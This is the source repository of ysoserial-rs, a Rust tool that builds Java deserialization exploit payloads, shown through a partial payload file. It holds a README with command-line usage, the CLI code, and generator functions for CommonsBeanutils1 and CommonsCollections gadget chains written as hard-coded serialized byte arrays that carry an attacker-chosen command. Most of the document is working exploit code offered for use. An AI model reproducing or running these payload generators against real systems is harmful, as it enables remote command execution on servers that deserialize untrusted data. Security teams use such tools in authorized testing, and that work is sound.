├── .github └── workflows │ └── basic.yml ├── .gitignore ├── Cargo.toml ├── README.md ├── examples └── examples.rs ├── src ├── cli.rs ├── lib.rs ├── main.rs └── yso.rs └── ysoserial-rs ├── Cargo.toml └── src ├── base.rs ├── cb1.rs ├── cc_n.rs ├── cck_n.rs ├── clojure.rs ├── groovy1.rs ├── hibernate.rs ├── javassist_weld1.rs ├── jboss_interceptors1.rs ├── jdk7u21.rs ├── jdk8u20.rs ├── json1.rs ├── lib.rs ├── mozilla_rhino.rs ├── myfaces.rs ├── rome.rs ├── shiro.rs ├── spring.rs ├── template_impl.rs ├── tomcat_echo.rs ├── url_dns.rs ├── util.rs └── vaadin.rs /.github/workflows/basic.yml: -------------------------------------------------------------------------------- 1 | name: Rust 2 | 3 | on: 4 | push: 5 | branches: 6 | - main 7 | 8 | jobs: 9 | build: 10 | runs-on: ubuntu-latest 11 | steps: 12 | - name: Checkout 13 | uses: actions/checkout@v1 14 | 15 | - name: Install latest rust toolchain 16 | uses: actions-rs/toolchain@v1 17 | with: 18 | toolchain: stable 19 | target: x86_64-unknown-linux-musl 20 | default: true 21 | override: true 22 | - name: Cache 23 | uses: Swatinem/rust-cache@v1 24 | - name: Build 25 | run: | 26 | sudo apt-get install upx-ucl -y 27 | sudo apt-get install musl-tools -y 28 | sudo apt-get install pkg-config libssl-dev -y 29 | cargo build --target=x86_64-unknown-linux-musl --release 30 | strip target/x86_64-unknown-linux-musl/release/ysoserial 31 | upx --best --lzma target/x86_64-unknown-linux-musl/release/ysoserial 32 | mv target/x86_64-unknown-linux-musl/release/ysoserial target/x86_64-unknown-linux-musl/release/ysoserial_amd64 33 | 34 | - name: Upload binary to release 35 | uses: svenstaro/upload-release-action@v1-release 36 | with: 37 | repo_token: ${{ secrets.GITHUB_TOKEN }} 38 | file: target/x86_64-unknown-linux-musl/release/ysoserial_amd64 39 | asset_name: ysoserial_amd64 40 | tag: default 41 | overwrite: true 42 | 43 | build-win: 44 | runs-on: windows-latest 45 | 46 | steps: 47 | - name: Checkout 48 | uses: actions/checkout@v1 49 | 50 | - name: Install latest rust toolchain 51 | uses: actions-rs/toolchain@v1 52 | with: 53 | toolchain: stable 54 | target: i686-pc-windows-msvc 55 | default: true 56 | override: true 57 | - name: Set up the Windows environment 58 | shell: bash 59 | run: | 60 | choco install llvm openssl upx 61 | echo "OPENSSL_DIR=C:\Program Files\OpenSSL-Win64" >>$GITHUB_ENV 62 | echo "RUSTFLAGS=-C target-feature=+crt-static" >>$GITHUB_ENV 63 | - name: Cache 64 | uses: Swatinem/rust-cache@v1 65 | - name: build rust release 66 | uses: actions-rs/cargo@v1 67 | with: 68 | command: build 69 | args: --target=i686-pc-windows-msvc --release 70 | - name: Upx the Windows binary 71 | shell: bash 72 | run: | 73 | upx -9 target/i686-pc-windows-msvc/release/ysoserial.exe 74 | - name: Upload binary to release 75 | uses: svenstaro/upload-release-action@v1-release 76 | with: 77 | repo_token: ${{ secrets.GITHUB_TOKEN }} 78 | file: target/i686-pc-windows-msvc/release/ysoserial.exe 79 | asset_name: ysoserial.exe 80 | tag: default 81 | overwrite: true 82 | 83 | build-mac: 84 | runs-on: macos-latest 85 | steps: 86 | - name: Checkout 87 | uses: actions/checkout@v1 88 | - name: Install latest rust toolchain 89 | uses: actions-rs/toolchain@v1 90 | with: 91 | toolchain: stable 92 | target: x86_64-apple-darwin 93 | default: true 94 | override: true 95 | - name: Cache 96 | uses: Swatinem/rust-cache@v1 97 | - name: Build for mac 98 | run: | 99 | cargo build --target=x86_64-apple-darwin --release 100 | strip target/x86_64-apple-darwin/release/ysoserial 101 | mv target/x86_64-apple-darwin/release/ysoserial target/x86_64-apple-darwin/release/ysoserial_darwin 102 | - name: Upload binary to release 103 | uses: svenstaro/upload-release-action@v1-release 104 | with: 105 | repo_token: ${{ secrets.GITHUB_TOKEN }} 106 | file: target/x86_64-apple-darwin/release/ysoserial_darwin 107 | asset_name: ysoserial_darwin 108 | tag: default 109 | overwrite: true -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | Cargo.lock 3 | .idea -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "ysoserial" 3 | authors = ["Kali-Team "] 4 | version = "0.1.0" 5 | edition = "2018" 6 | description = "Ysoserial pure Rust implementation." 7 | license = "MIT" 8 | include = ["LICENSE", "Cargo.toml", "src/**/*.rs"] 9 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 10 | [workspace] 11 | members = [".", "ysoserial-rs"] 12 | [profile.release.package.ysoserial-rs] 13 | 14 | opt-level = "z" 15 | codegen-units = 1 16 | 17 | [profile.release] 18 | lto = true 19 | opt-level = "z" 20 | codegen-units = 1 21 | panic = "abort" 22 | 23 | [profile.dev.package."*"] 24 | opt-level = 3 25 | 26 | [profile.test] 27 | opt-level = 3 28 | lto = "thin" 29 | 30 | [profile.bench] 31 | lto = true 32 | codegen-units = 1 33 | opt-level = 3 34 | 35 | [dependencies] 36 | once_cell = "1.10.0" 37 | argh = "0.1.8" 38 | hex = "0.4.3" 39 | base64 = "0.13.0" 40 | ysoserial-rs = { path = "ysoserial-rs", package = "ysoserial-rs" } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ysoserial-rs 2 | 3 | - [ysoserial](https://github.com/frohoff/ysoserial) implemented by rust 4 | 5 | > A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. 6 | 7 | ## using 8 | 9 | ```shell 10 | Usage: ysoserial [-p ] [-c ] [--url ] [--echo-name ] [--command-name ] [-o ] [-f ] [-l] 11 | 12 | ysoserial-rs 13 | 14 | Options: 15 | -p, --payload select a payload 16 | -c, --command command to execute 17 | --url url to request dns 18 | --echo-name tomcat echo request header name 19 | --command-name tomcat command request header name 20 | -o, --output save payload to file 21 | -f, --format format to hex or base64 22 | -l, --list list all payload 23 | --help display usage information 24 | 25 | ``` 26 | 27 | ### format 28 | 29 | - hex 30 | 31 | ```shell 32 | ➜ ysoserial-rs git:(main) ✗ ysoserial -p cc1 -c whomai -f hex 33 | aced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f... 34 | ``` 35 | 36 | - base64 37 | 38 | ```shell 39 | ➜ ysoserial-rs git:(main) ✗ ysoserial -p cc1 -c whomai -f base64 40 | rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYm... 41 | ``` 42 | 43 | ### output 44 | 45 | ```shell 46 | ➜ ysoserial-rs git:(main) ✗ ysoserial -p cc1 -c whomai -o cc1.ser 47 | 写入文件:cc1.ser,payload大小:1395 48 | ➜ ysoserial-rs git:(main) ✗ cat cc1.ser|xxd -ps 49 | aced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e 50 | 2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255ca 51 | ... 52 | ``` 53 | 54 | ## examples 55 | 56 | ```shell 57 | cargo run --example examples 58 | ``` 59 | 60 | - Please refer to the examples directory for details 61 | 62 | ```rust 63 | use std::fs::File; 64 | use std::io; 65 | use std::io::Write; 66 | use ysoserial_rs::get_commons_beanutils1; 67 | 68 | fn main() -> Result<(), io::Error> { 69 | let mut file = File::create("commons_beanutils1.ser")?; 70 | file.write_all(&get_commons_beanutils1("id"))?; 71 | Ok(()) 72 | } 73 | ``` 74 | 75 | ## support list 76 | 77 | - [x] bs1 78 | - [x] cc1 79 | - [x] cc2 80 | - [x] cc3 81 | - [x] cc4 82 | - [x] cc5 83 | - [x] cc6 84 | - [x] cc7 85 | - [x] cck1 86 | - [x] cck2 87 | - [x] cck3 88 | - [x] cck4 89 | - [x] clojure 90 | - [x] groovy1 91 | - [x] hibernate1 92 | - [x] hibernate2 93 | - [x] javassist_weld1 94 | - [x] jboss_interceptors1 95 | - [x] jdk7u21 96 | - [x] jdk8u20 97 | - [x] json1 98 | - [x] mozilla_rhino1 99 | - [x] mozilla_rhino2 100 | - [x] myfaces1 101 | - [x] rome 102 | - [x] spring1 103 | - [x] spring2 104 | - [x] cck1_tomcat_echo 105 | - [x] cck2_tomcat_echo 106 | - [x] url_dns 107 | - [x] c3p0 108 | - [x] vaadin1 109 | - [x] shiro_spc 110 | -------------------------------------------------------------------------------- /examples/examples.rs: -------------------------------------------------------------------------------- 1 | use std::io; 2 | use std::io::Write; 3 | 4 | use ysoserial_rs::get_commons_beanutils1; 5 | 6 | fn main() -> Result<(), io::Error> { 7 | io::stdout().write_all(&get_commons_beanutils1("id"))?; 8 | Ok(()) 9 | } 10 | -------------------------------------------------------------------------------- /src/cli.rs: -------------------------------------------------------------------------------- 1 | use argh::FromArgs; 2 | 3 | #[derive(Debug, Clone, FromArgs, Default)] 4 | #[argh(description = "ysoserial-rs")] 5 | pub struct ConfigArgs { 6 | /// select a payload 7 | #[argh(option, short = 'p')] 8 | pub payload: Option, 9 | /// command to execute 10 | #[argh(option, short = 'c')] 11 | pub command: Option, 12 | /// url to request dns 13 | #[argh(option)] 14 | pub url: Option, 15 | /// tomcat echo request header name 16 | #[argh(option)] 17 | pub echo_name: Option, 18 | /// tomcat command request header name 19 | #[argh(option)] 20 | pub command_name: Option, 21 | /// save payload to file 22 | #[argh(option, short = 'o')] 23 | pub output: Option, 24 | /// format to hex or base64 25 | #[argh(option, short = 'f', default = "String::from(\"\")")] 26 | pub format: String, 27 | /// list all payload 28 | #[argh(switch, short = 'l')] 29 | pub list: bool, 30 | } 31 | 32 | impl ConfigArgs { 33 | pub fn new() -> Self { 34 | let default: ConfigArgs = argh::from_env(); 35 | default 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/lib.rs: -------------------------------------------------------------------------------- 1 | use once_cell::sync::Lazy; 2 | 3 | use cli::ConfigArgs; 4 | 5 | pub mod cli; 6 | pub mod yso; 7 | 8 | pub static EMO_ARGS: Lazy = Lazy::new(|| -> ConfigArgs { ConfigArgs::new() }); 9 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | use std::fs::File; 2 | use std::io::Write; 3 | use std::{io, process}; 4 | 5 | use ysoserial::cli::ConfigArgs; 6 | use ysoserial::yso; 7 | 8 | fn main() -> Result<(), Box> { 9 | let config = ConfigArgs::new(); 10 | if config.list { 11 | yso::list(); 12 | } 13 | if let Some(p) = &config.payload { 14 | let payload = yso::get_payload(p); 15 | match config.format.as_str() { 16 | "hex" => { 17 | let s = hex::encode(payload); 18 | output_format(&config.output, &s); 19 | } 20 | "base64" => { 21 | let s = base64::encode(payload); 22 | output_format(&config.output, &s); 23 | } 24 | _ => output_bytes(&config.output, payload), 25 | } 26 | } else { 27 | println!("请指定Payload"); 28 | process::exit(0); 29 | } 30 | 31 | Ok(()) 32 | } 33 | 34 | fn output_format(config_output: &Option, payload: &str) { 35 | if let Some(output) = &config_output { 36 | if let Ok(mut file) = File::create(output) { 37 | file.write_all(payload.as_bytes()).unwrap_or_default(); 38 | println!("写入文件:{},payload大小:{}", output, payload.len()); 39 | } else { 40 | println!("写入文件失败") 41 | }; 42 | } else { 43 | io::stdout() 44 | .write_all(payload.as_bytes()) 45 | .unwrap_or_default(); 46 | } 47 | } 48 | 49 | fn output_bytes(config_output: &Option, payload: Vec) { 50 | if let Some(output) = &config_output { 51 | if let Ok(mut file) = File::create(output) { 52 | file.write_all(&payload).unwrap_or_default(); 53 | println!("写入文件:{},payload大小:{}", output, payload.len()); 54 | } else { 55 | println!("写入文件失败") 56 | }; 57 | } else { 58 | io::stdout().write_all(&payload).unwrap_or_default(); 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /src/yso.rs: -------------------------------------------------------------------------------- 1 | use std::collections::HashMap; 2 | use std::iter::FromIterator; 3 | use std::process; 4 | 5 | use once_cell::sync::Lazy; 6 | 7 | use ysoserial_rs::*; 8 | 9 | use crate::EMO_ARGS; 10 | 11 | type NoArgs = fn() -> Vec; 12 | type OneArgs = fn(&str) -> Vec; 13 | type TwoArgs = fn(&str, &str) -> Vec; 14 | 15 | static COMMAND_PAYLOAD_MAP: Lazy> = 16 | Lazy::new(|| -> HashMap<&str, OneArgs> { 17 | HashMap::from_iter([ 18 | ("bs1", get_commons_beanutils1 as OneArgs), 19 | ("cc1", get_commons_collections1), 20 | ("cc2", get_commons_collections2), 21 | ("cc3", get_commons_collections3), 22 | ("cc4", get_commons_collections4), 23 | ("cc5", get_commons_collections5), 24 | ("cc6", get_commons_collections6), 25 | ("cc7", get_commons_collections7), 26 | ("cck1", get_commons_collections_k1), 27 | ("cck2", get_commons_collections_k2), 28 | ("cck3", get_commons_collections_k3), 29 | ("cck4", get_commons_collections_k4), 30 | ("clojure", get_clojure), 31 | ("groovy1", get_groovy1), 32 | ("hibernate1", get_hibernate1), 33 | ("hibernate2", get_hibernate2), 34 | ("javassist_weld1", get_javassist_weld1), 35 | ("jboss_interceptors1", get_jboss_interceptors1), 36 | ("jdk7u21", get_jdk7u21), 37 | ("jdk8u20", get_jdk8u20), 38 | ("json1", get_json1), 39 | ("mozilla_rhino1", get_mozilla_rhino1), 40 | ("mozilla_rhino2", get_mozilla_rhino2), 41 | ("myfaces1", get_myfaces1), 42 | ("rome", get_rome), 43 | ("spring1", get_spring1), 44 | ("spring2", get_spring2), 45 | ("vaadin1", get_vaadin1), 46 | ]) 47 | }); 48 | static URL_PAYLOAD_MAP: Lazy> = Lazy::new(|| -> HashMap<&str, OneArgs> { 49 | HashMap::from_iter([ 50 | ("url_dns", get_url_dns as OneArgs), 51 | ("c3p0", get_c3p0 as OneArgs), 52 | ]) 53 | }); 54 | static HEADER_PAYLOAD_MAP: Lazy> = 55 | Lazy::new(|| -> HashMap<&str, TwoArgs> { 56 | HashMap::from_iter([ 57 | ("cck1_tomcat_echo", get_cck1_tomcat_echo as TwoArgs), 58 | ("cck2_tomcat_echo", get_cck2_tomcat_echo as TwoArgs), 59 | ]) 60 | }); 61 | static SHIRO_PAYLOAD_MAP: Lazy> = Lazy::new(|| -> HashMap<&str, NoArgs> { 62 | HashMap::from_iter([("shiro_spc", get_shiro_simple_principal_collection as NoArgs)]) 63 | }); 64 | 65 | pub fn list() { 66 | println!("Payload List:\n------------"); 67 | let mut all_payload = COMMAND_PAYLOAD_MAP 68 | .keys() 69 | .map(|x| x.to_string()) 70 | .collect::>(); 71 | all_payload.extend( 72 | URL_PAYLOAD_MAP 73 | .keys() 74 | .map(|x| x.to_string()) 75 | .collect::>(), 76 | ); 77 | all_payload.extend( 78 | HEADER_PAYLOAD_MAP 79 | .keys() 80 | .map(|x| x.to_string()) 81 | .collect::>(), 82 | ); 83 | all_payload.extend( 84 | SHIRO_PAYLOAD_MAP 85 | .keys() 86 | .map(|x| x.to_string()) 87 | .collect::>(), 88 | ); 89 | all_payload.sort(); 90 | for p in all_payload { 91 | println!("{}", p); 92 | } 93 | process::exit(0); 94 | } 95 | 96 | pub fn get_payload(p: &str) -> Vec { 97 | if let Some(command_func) = COMMAND_PAYLOAD_MAP.get(p as &str) { 98 | if let Some(cmd) = &EMO_ARGS.command { 99 | command_func(cmd) 100 | } else { 101 | println!("该Payload需要指定执行的命令行"); 102 | process::exit(0); 103 | } 104 | } else if let Some(url_func) = URL_PAYLOAD_MAP.get(p as &str) { 105 | if let Some(url) = &EMO_ARGS.url { 106 | url_func(url) 107 | } else { 108 | println!("该Payload需要指定URL"); 109 | process::exit(0); 110 | } 111 | } else if let Some(header_func) = HEADER_PAYLOAD_MAP.get(p as &str) { 112 | if let (Some(echo_name), Some(command_name)) = (&EMO_ARGS.echo_name, &EMO_ARGS.command_name) 113 | { 114 | header_func(echo_name, command_name) 115 | } else { 116 | println!("该Payload需要指定回显请求头和命令请求头"); 117 | process::exit(0); 118 | } 119 | } else if let Some(shiro_func) = SHIRO_PAYLOAD_MAP.get(p as &str) { 120 | shiro_func() 121 | } else { 122 | println!("请指定Payload"); 123 | process::exit(0); 124 | } 125 | } 126 | -------------------------------------------------------------------------------- /ysoserial-rs/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "ysoserial-rs" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | rand = "0.8.4" 10 | url = "2.2.2" -------------------------------------------------------------------------------- /ysoserial-rs/src/base.rs: -------------------------------------------------------------------------------- 1 | pub fn generate_string(string: &str) -> Vec { 2 | let mut result_bytes: Vec = Vec::new(); 3 | result_bytes.extend([116]); // JAVA_TC_STRING 4 | let byte_len = string.len() as u16; 5 | result_bytes.extend(byte_len.to_be_bytes()); 6 | result_bytes.extend(string.as_bytes()); 7 | result_bytes 8 | } 9 | -------------------------------------------------------------------------------- /ysoserial-rs/src/cb1.rs: -------------------------------------------------------------------------------- 1 | use crate::template_impl::get_f_template_impl; 2 | 3 | pub fn get_commons_beanutils1(cmd: &str) -> Vec { 4 | let mut result_bytes = [ 5 | 172, 237, 0, 5, 115, 114, 0, 23, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 80, 114, 6 | 105, 111, 114, 105, 116, 121, 81, 117, 101, 117, 101, 148, 218, 48, 180, 251, 63, 130, 177, 7 | 3, 0, 2, 73, 0, 4, 115, 105, 122, 101, 76, 0, 10, 99, 111, 109, 112, 97, 114, 97, 116, 111, 8 | 114, 116, 0, 22, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 67, 111, 109, 112, 97, 9 | 114, 97, 116, 111, 114, 59, 120, 112, 0, 0, 0, 2, 115, 114, 0, 43, 111, 114, 103, 46, 97, 10 | 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 98, 101, 97, 110, 117, 11 | 116, 105, 108, 115, 46, 66, 101, 97, 110, 67, 111, 109, 112, 97, 114, 97, 116, 111, 114, 12 | 227, 161, 136, 234, 115, 34, 164, 72, 2, 0, 2, 76, 0, 10, 99, 111, 109, 112, 97, 114, 97, 13 | 116, 111, 114, 113, 0, 126, 0, 1, 76, 0, 8, 112, 114, 111, 112, 101, 114, 116, 121, 116, 0, 14 | 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 120, 15 | 112, 115, 114, 0, 63, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 16 | 111, 110, 115, 46, 99, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 99, 111, 109, 17 | 112, 97, 114, 97, 116, 111, 114, 115, 46, 67, 111, 109, 112, 97, 114, 97, 98, 108, 101, 67, 18 | 111, 109, 112, 97, 114, 97, 116, 111, 114, 251, 244, 153, 37, 184, 110, 177, 55, 2, 0, 0, 19 | 120, 112, 116, 0, 16, 111, 117, 116, 112, 117, 116, 80, 114, 111, 112, 101, 114, 116, 105, 20 | 101, 115, 119, 4, 0, 0, 0, 3, 115, 114, 0, 58, 99, 111, 109, 46, 115, 117, 110, 46, 111, 21 | 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 120, 97, 108, 97, 110, 46, 105, 110, 116, 101, 22 | 114, 110, 97, 108, 46, 120, 115, 108, 116, 99, 46, 116, 114, 97, 120, 46, 84, 101, 109, 23 | 112, 108, 97, 116, 101, 115, 73, 109, 112, 108, 9, 87, 79, 193, 110, 172, 171, 51, 3, 0, 6, 24 | 73, 0, 13, 95, 105, 110, 100, 101, 110, 116, 78, 117, 109, 98, 101, 114, 73, 0, 14, 95, 25 | 116, 114, 97, 110, 115, 108, 101, 116, 73, 110, 100, 101, 120, 91, 0, 10, 95, 98, 121, 116, 26 | 101, 99, 111, 100, 101, 115, 116, 0, 3, 91, 91, 66, 91, 0, 6, 95, 99, 108, 97, 115, 115, 27 | 116, 0, 18, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 28 | 76, 0, 5, 95, 110, 97, 109, 101, 113, 0, 126, 0, 4, 76, 0, 17, 95, 111, 117, 116, 112, 117, 29 | 116, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 116, 0, 22, 76, 106, 97, 118, 97, 47, 30 | 117, 116, 105, 108, 47, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 59, 120, 112, 0, 31 | 0, 0, 0, 255, 255, 255, 255, 117, 114, 0, 3, 91, 91, 66, 75, 253, 25, 21, 103, 103, 219, 32 | 55, 2, 0, 0, 120, 112, 0, 0, 0, 1, 117, 114, 0, 2, 91, 66, 172, 243, 23, 248, 6, 8, 84, 33 | 224, 2, 0, 0, 120, 112, 34 | ] 35 | .to_vec(); 36 | let template_impl = get_f_template_impl(cmd); 37 | let byte_len = template_impl.len() as u32; 38 | result_bytes.extend(byte_len.to_be_bytes()); 39 | result_bytes.extend(&template_impl); 40 | result_bytes.extend([ 41 | 112, 116, 0, 4, 68, 111, 103, 101, 112, 119, 1, 0, 120, 113, 0, 126, 0, 13, 120, 42 | ]); 43 | result_bytes 44 | } 45 | -------------------------------------------------------------------------------- /ysoserial-rs/src/cck_n.rs: -------------------------------------------------------------------------------- 1 | use crate::base::generate_string; 2 | use crate::template_impl::get_k_template_impl; 3 | 4 | pub fn get_commons_collections_k1(cmd: &str) -> Vec { 5 | let mut result_bytes = [ 6 | 172, 237, 0, 5, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 7 | 104, 77, 97, 112, 5, 7, 218, 193, 195, 22, 96, 209, 3, 0, 2, 70, 0, 10, 108, 111, 97, 100, 8 | 70, 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 115, 104, 111, 108, 100, 120, 112, 9 | 63, 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 1, 115, 114, 0, 52, 111, 114, 103, 10 | 46, 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 99, 111, 108, 108, 11 | 101, 99, 116, 105, 111, 110, 115, 46, 107, 101, 121, 118, 97, 108, 117, 101, 46, 84, 105, 12 | 101, 100, 77, 97, 112, 69, 110, 116, 114, 121, 138, 173, 210, 155, 57, 193, 31, 219, 2, 0, 13 | 2, 76, 0, 3, 107, 101, 121, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 14 | 79, 98, 106, 101, 99, 116, 59, 76, 0, 3, 109, 97, 112, 116, 0, 15, 76, 106, 97, 118, 97, 15 | 47, 117, 116, 105, 108, 47, 77, 97, 112, 59, 120, 112, 115, 114, 0, 58, 99, 111, 109, 46, 16 | 115, 117, 110, 46, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 120, 97, 108, 97, 110, 17 | 46, 105, 110, 116, 101, 114, 110, 97, 108, 46, 120, 115, 108, 116, 99, 46, 116, 114, 97, 18 | 120, 46, 84, 101, 109, 112, 108, 97, 116, 101, 115, 73, 109, 112, 108, 9, 87, 79, 193, 110, 19 | 172, 171, 51, 3, 0, 6, 73, 0, 13, 95, 105, 110, 100, 101, 110, 116, 78, 117, 109, 98, 101, 20 | 114, 73, 0, 14, 95, 116, 114, 97, 110, 115, 108, 101, 116, 73, 110, 100, 101, 120, 91, 0, 21 | 10, 95, 98, 121, 116, 101, 99, 111, 100, 101, 115, 116, 0, 3, 91, 91, 66, 91, 0, 6, 95, 99, 22 | 108, 97, 115, 115, 116, 0, 18, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 23 | 108, 97, 115, 115, 59, 76, 0, 5, 95, 110, 97, 109, 101, 116, 0, 18, 76, 106, 97, 118, 97, 24 | 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 0, 17, 95, 111, 117, 116, 25 | 112, 117, 116, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 116, 0, 22, 76, 106, 97, 26 | 118, 97, 47, 117, 116, 105, 108, 47, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 59, 27 | 120, 112, 0, 0, 0, 0, 255, 255, 255, 255, 117, 114, 0, 3, 91, 91, 66, 75, 253, 25, 21, 103, 28 | 103, 219, 55, 2, 0, 0, 120, 112, 0, 0, 0, 1, 117, 114, 0, 2, 91, 66, 172, 243, 23, 248, 6, 29 | 8, 84, 224, 2, 0, 0, 120, 112, 30 | ] 31 | .to_vec(); 32 | let template_impl = get_k_template_impl(cmd); 33 | let template_impl_len = template_impl.len() as u32; 34 | result_bytes.extend(template_impl_len.to_be_bytes()); 35 | result_bytes.extend(&template_impl); 36 | result_bytes.extend([ 37 | 112, 116, 0, 4, 68, 111, 103, 101, 112, 119, 1, 0, 120, 115, 114, 0, 42, 111, 114, 103, 46, 38 | 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 99, 111, 108, 108, 39 | 101, 99, 116, 105, 111, 110, 115, 46, 109, 97, 112, 46, 76, 97, 122, 121, 77, 97, 112, 110, 40 | 229, 148, 130, 158, 121, 16, 148, 3, 0, 1, 76, 0, 7, 102, 97, 99, 116, 111, 114, 121, 116, 41 | 0, 44, 76, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 99, 111, 109, 109, 111, 110, 42 | 115, 47, 99, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 47, 84, 114, 97, 110, 115, 43 | 102, 111, 114, 109, 101, 114, 59, 120, 112, 115, 114, 0, 58, 111, 114, 103, 46, 97, 112, 44 | 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 99, 111, 108, 108, 101, 99, 45 | 116, 105, 111, 110, 115, 46, 102, 117, 110, 99, 116, 111, 114, 115, 46, 73, 110, 118, 111, 46 | 107, 101, 114, 84, 114, 97, 110, 115, 102, 111, 114, 109, 101, 114, 135, 232, 255, 107, 47 | 123, 124, 206, 56, 2, 0, 3, 91, 0, 5, 105, 65, 114, 103, 115, 116, 0, 19, 91, 76, 106, 97, 48 | 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 76, 0, 11, 105, 77, 101, 49 | 116, 104, 111, 100, 78, 97, 109, 101, 113, 0, 126, 0, 9, 91, 0, 11, 105, 80, 97, 114, 97, 50 | 109, 84, 121, 112, 101, 115, 113, 0, 126, 0, 8, 120, 112, 117, 114, 0, 19, 91, 76, 106, 97, 51 | 118, 97, 46, 108, 97, 110, 103, 46, 79, 98, 106, 101, 99, 116, 59, 144, 206, 88, 159, 16, 52 | 115, 41, 108, 2, 0, 0, 120, 112, 0, 0, 0, 0, 116, 0, 14, 110, 101, 119, 84, 114, 97, 110, 53 | 115, 102, 111, 114, 109, 101, 114, 117, 114, 0, 18, 91, 76, 106, 97, 118, 97, 46, 108, 97, 54 | 110, 103, 46, 67, 108, 97, 115, 115, 59, 171, 22, 215, 174, 203, 205, 90, 153, 2, 0, 0, 55 | 120, 112, 0, 0, 0, 0, 115, 113, 0, 126, 0, 0, 63, 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 56 | 16, 0, 0, 0, 0, 120, 120, 116, 0, 1, 116, 120, 57 | ]); 58 | result_bytes 59 | } 60 | pub fn get_commons_collections_k2(cmd: &str) -> Vec { 61 | let mut result_bytes = [ 62 | 172, 237, 0, 5, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 63 | 104, 77, 97, 112, 5, 7, 218, 193, 195, 22, 96, 209, 3, 0, 2, 70, 0, 10, 108, 111, 97, 100, 64 | 70, 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 115, 104, 111, 108, 100, 120, 112, 65 | 63, 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 1, 115, 114, 0, 53, 111, 114, 103, 66 | 46, 97, 112, 97, 99, 104, 101, 46, 99, 111, 109, 109, 111, 110, 115, 46, 99, 111, 108, 108, 67 | 101, 99, 116, 105, 111, 110, 115, 52, 46, 107, 101, 121, 118, 97, 108, 117, 101, 46, 84, 68 | 105, 101, 100, 77, 97, 112, 69, 110, 116, 114, 121, 138, 173, 210, 155, 57, 193, 31, 219, 69 | 2, 0, 2, 76, 0, 3, 107, 101, 121, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 70 | 47, 79, 98, 106, 101, 99, 116, 59, 76, 0, 3, 109, 97, 112, 116, 0, 15, 76, 106, 97, 118, 71 | 97, 47, 117, 116, 105, 108, 47, 77, 97, 112, 59, 120, 112, 115, 114, 0, 58, 99, 111, 109, 72 | 46, 115, 117, 110, 46, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 120, 97, 108, 97, 73 | 110, 46, 105, 110, 116, 101, 114, 110, 97, 108, 46, 120, 115, 108, 116, 99, 46, 116, 114, 74 | 97, 120, 46, 84, 101, 109, 112, 108, 97, 116, 101, 115, 73, 109, 112, 108, 9, 87, 79, 193, 75 | 110, 172, 171, 51, 3, 0, 6, 73, 0, 13, 95, 105, 110, 100, 101, 110, 116, 78, 117, 109, 98, 76 | 101, 114, 73, 0, 14, 95, 116, 114, 97, 110, 115, 108, 101, 116, 73, 110, 100, 101, 120, 91, 77 | 0, 10, 95, 98, 121, 116, 101, 99, 111, 100, 101, 115, 116, 0, 3, 91, 91, 66, 91, 0, 6, 95, 78 | 99, 108, 97, 115, 115, 116, 0, 18, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 79 | 108, 97, 115, 115, 59, 76, 0, 5, 95, 110, 97, 109, 101, 116, 0, 18, 76, 106, 97, 118, 